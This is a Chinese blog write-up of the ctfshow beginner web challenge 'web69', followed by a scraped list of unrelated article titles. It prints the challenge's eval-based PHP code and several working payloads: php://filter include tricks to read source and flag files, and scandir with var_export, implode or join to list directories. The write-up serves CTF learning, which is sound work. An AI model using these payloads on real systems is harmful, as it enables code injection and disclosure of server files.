当前位置: 首页 > web >正文

[ctfshow web入门] web69

信息收集

使用c=include("php://filter/convert.base64-encode/resource=index.php");读取的index.php

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

解题

查目录

百度了一下有哪些打印函数,var_export能用

  • var_export() 函数输出或返回有关变量的结构化信息。
    该函数的工作方式与 var_dump() 类似,不同之处在于该函数的返回值是有效的 PHP 代码。
c=var_export(scandir('.'));

在这里插入图片描述
或者换一个思路,用一个函数把array转成字符串,因为我发现printecho没被禁用

c=echo(implode(', ', scandir('.')));
c=print(join(', ', scandir('.')));

implode(separator,array):implode函数返回一个由数组元素组合成的字符串。
join(separator,array):join函数是implode函数的别名。
在这里插入图片描述


读文件

flag不在flag.php,和之前一样,不是本篇重点,不再截图

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include("php://filter/convert.base64-encode/resource=flag.php");
c=var_export(scandir('/'));
c=echo(implode(', ', scandir('/')));
c=print(join(', ', scandir('/')));

在这里插入图片描述

c=include("php://filter/convert.iconv.utf8.utf16/resource=/flag.txt");
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
c=include("/flag.txt");

在这里插入图片描述


web68    目录    web70

http://www.xdnf.cn/news/5268.html

相关文章:

  • 湖南(源点咨询)市场调研 商业综合体定位调研分享(下篇)
  • Godot4.3类星露谷游戏开发之【时钟UI】
  • 5大B2B数字营销社群营销标杆案例TOB企业数字化营销内容营销AI营销培训讲师培训师专家顾问唐兴通分享
  • JavaScript基础-局部作用域
  • FHE与后量子密码学
  • 昇腾NPU容器内 apt 换源
  • hot100-子串-JS
  • torch.nn.init.uniform_
  • C 语言数据结构基石:一维数组的定义、访问与使用详解
  • MYSQL中的RR隔离级别实现原理,它是如何解决不可重复读
  • [sklearn机器学习概述]机器学习-part3
  • Dify使用总结
  • Android平台FFmpeg音视频开发深度指南
  • yarn npm pnpm
  • Flink 系列之十二 - Data Stream API的输出算子
  • cursor sign in 网页登录成功,sursor软件里一直登陆不成功没有登陆信息
  • 【LeetCode 热题 100】215. 数组中的第K个最大元素(Python 快速选择详解)
  • 高精度加减
  • 普通IT的股票交易成长史--股价起伏的真相-缺口(2)
  • 2010-2020年 分省工业品月度产量数据-社科数据
  • 分析AMD业绩突飞猛进的原因
  • [ctfshow web入门] web71
  • SpringBoot项目容器化进行部署,meven的docker插件远程构建docker镜像
  • gvm安装go报错ERROR: Failed to use installed version
  • Linux进程信号的捕捉处理方式
  • 【Java学习】枚举(匿名类详解)
  • 基于大模型的新型隐球菌脑膜炎智能诊疗全流程系统设计与实现的技术方案文档
  • CD37.【C++ Dev】string类的模拟实现(上)
  • fastmcp: 更好用的 MCP Python 框架
  • SlideLoss与FocalLoss在YOLOv8分类损失中的应用及性能分析